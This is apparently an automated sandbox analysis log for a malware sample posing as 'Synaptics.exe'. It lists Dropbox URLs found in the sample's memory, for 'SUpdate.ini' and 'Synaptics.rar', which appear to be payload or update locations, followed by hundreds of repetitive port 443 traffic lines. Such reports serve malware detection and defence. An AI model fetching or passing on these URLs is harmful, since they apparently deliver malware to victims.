Source: file.exe, 00000000.00000000.1522751574.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Synaptics.exe, Synaptics.exe, 00000003.00000002.3017460186.0000000002310000.00000004.00001000.00020000.00000000.sdmp, RCXB47F.tmp.0.dr, svchost.exe.2.dr, Synaptics.exe.0.dr, ~$cache1.3.dr	String found in binary or memory: https://www.dropbox.com/s/n1w4p8gc6jzo0sg/SUpdate.ini?dl=1
Source: Synaptics.exe, 00000003.00000002.3017460186.0000000002310000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/s/n1w4p8gc6jzo0sg/SUpdate.ini?dl=16
Source: file.exe, 00000000.00000003.1541052777.00000000028A0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/s/n1w4p8gc6jzo0sg/SUpdate.ini?dlT
Source: file.exe, 00000000.00000003.1541052777.00000000028A0000.00000004.00001000.00020000.00000000.sdmp, Synaptics.exe, Synaptics.exe, 00000003.00000002.3017460186.0000000002310000.00000004.00001000.00020000.00000000.sdmp, RCXB47F.tmp.0.dr, svchost.exe.2.dr, Synaptics.exe.0.dr, ~$cache1.3.dr, ~DF5D971380D884AB7C.TMP.6.dr	String found in binary or memory: https://www.dropbox.com/s/zhp1b06imehwylq/Synaptics.rar?dl=1
Source: Synaptics.exe, 00000003.00000002.3017460186.0000000002310000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/s/zhp1b06imehwylq/Synaptics.rar?dl=1:

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 56171 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56010 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56274 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56158
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56159
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56039
Source: unknown	Network traffic detected: HTTP traffic on port 56159 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56194 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56044
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56165
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56045
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56166
Source: unknown	Network traffic detected: HTTP traffic on port 56216 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56457 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56046
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56047
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56168
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56040
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56161
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56282
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56041
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56162
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56283
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56042
Source: unknown	Network traffic detected: HTTP traffic on port 56239 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56043
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56164
Source: unknown	Network traffic detected: HTTP traffic on port 56319 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56160
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 56091 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 56124 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56388 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56560 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56048
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56169
Source: unknown	Network traffic detected: HTTP traffic on port 56307 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56080 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56176
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56056
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56177
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56298
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56057
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56178
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56299
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56058
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56179
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56051
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56172
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56052
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56173
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56053
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56295
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56296
Source: unknown	Network traffic detected: HTTP traffic on port 56628 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56056 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56170
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56050
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56171
Source: unknown	Network traffic detected: HTTP traffic on port 56148 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 56125 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56102 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56561 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56059
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56045 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56066
Source: unknown	Network traffic detected: HTTP traffic on port 56158 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56189
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56069
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56062
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56183
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56063
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56184
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56185
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56065
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56186
Source: unknown	Network traffic detected: HTTP traffic on port 56263 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56032 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 56629 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56180
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56060
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56181
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56061
Source: unknown	Network traffic detected: HTTP traffic on port 56445 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56147 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56422 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56170 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56640 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56195 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56198
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56078
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56199
Source: unknown	Network traffic detected: HTTP traffic on port 56456 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56079
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56073
Source: unknown	Network traffic detected: HTTP traffic on port 56136 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56194
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56074
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56195
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56075
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56196
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56076
Source: unknown	Network traffic detected: HTTP traffic on port 56238 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56190
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56070
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56191
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56071
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56192
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56072
Source: unknown	Network traffic detected: HTTP traffic on port 56079 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56193
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56146 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56421 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56100 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56123 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56081 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56118
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56239
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56119
Source: unknown	Network traffic detected: HTTP traffic on port 56582 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56008 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56114
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56235
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56115
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56236
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56116
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56237
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56117
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56238
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56359
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56000
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56121
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56001
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56122
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56243
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56123
Source: unknown	Network traffic detected: HTTP traffic on port 56181 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56244
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56486
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56124
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56360
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56240
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56361
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56241
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56362
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56057 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56250 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56229 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56008
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56129
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56125
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56488
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56005
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56126
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56247
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56489
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56006
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56248
Source: unknown	Network traffic detected: HTTP traffic on port 56455 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56046 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56007
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56249
Source: unknown	Network traffic detected: HTTP traffic on port 56321 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56011
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56132
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56374
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56012
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56133
Source: unknown	Network traffic detected: HTTP traffic on port 56134 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56496
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56134
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56014
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56135
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56498
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56370
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56250
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56371
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56130
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56010
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56131
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56373
Source: unknown	Network traffic detected: HTTP traffic on port 56295 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56490
Source: unknown	Network traffic detected: HTTP traffic on port 56570 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56169 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56389 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56228 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56019
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56136
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56499
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56379
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56017
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56138
Source: unknown	Network traffic detected: HTTP traffic on port 56196 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56018
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56139
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56022
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56264
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56023
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56144
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56265
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56024
Source: unknown	Network traffic detected: HTTP traffic on port 56135 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56145
Source: unknown	Network traffic detected: HTTP traffic on port 56240 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56266
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56146
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56388
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56140
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56141
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56263
Source: unknown	Network traffic detected: HTTP traffic on port 56019 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56296 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56571 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56380
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 56070 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56168 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56443 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 56206 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 56101 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56273 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56069 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56344 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56026
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56147
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56389
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56148
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56027
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56028
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56149
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56029
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56033
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56154
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56275
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56034
Source: unknown	Network traffic detected: HTTP traffic on port 56157 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56217 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56432 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56035
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56157
Source: unknown	Network traffic detected: HTTP traffic on port 56180 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56150
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56392
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56151
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56272
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56273
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56032
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56153
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56274
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56391
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 56058 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 56559 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56207 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56614 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56637 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56345 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56454 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56099 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56001 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56265 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56076 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56024 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56431 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56162 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56053 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56185 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56592 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56088 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56420 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56116 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56380 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56151 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56603 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56042 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56649 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56035 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56299 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56465 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56660 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56012 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56087 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56230 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56150 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56379 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56173 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56580 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56192 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55999 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56648 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56346 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56218 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56105 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56558 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56391 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56615 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56139 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56065 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56023 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56569 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56241 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56266 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56184 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56335 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56089 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56496 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56501 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56043 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56604 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56066 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56473 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56088
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56089
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56084
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56085
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56086
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56087
Source: unknown	Network traffic detected: HTTP traffic on port 56114 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56080
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56081
Source: unknown	Network traffic detected: HTTP traffic on port 56126 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56370 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56579 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56149 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56034 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56298 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56464 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56172 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56011 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56208 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56275 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56103 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56193 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56099
Source: unknown	Network traffic detected: HTTP traffic on port 56406 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56430 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56095
Source: unknown	Network traffic detected: HTTP traffic on port 56161 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56096
Source: unknown	Network traffic detected: HTTP traffic on port 56000 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56243 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56264 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56091
Source: unknown	Network traffic detected: HTTP traffic on port 56209 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56093
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56094
Source: unknown	Network traffic detected: HTTP traffic on port 56090 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56591 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56090
Source: unknown	Network traffic detected: HTTP traffic on port 56639 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56115 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56138 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56022 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56545 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56568 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56183 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56590 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56160 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56078 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56231 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56336 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56044 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56474 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55998 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56104 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56650 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56392 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56033 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56429 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56085 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56360 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56027 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56062 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56589 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56405 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55997 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56359 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55997
Source: unknown	Network traffic detected: HTTP traffic on port 56176 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56602
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55998
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56603
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55999
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56604
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55996
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56601
Source: unknown	Network traffic detected: HTTP traffic on port 56130 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56165 -> 443
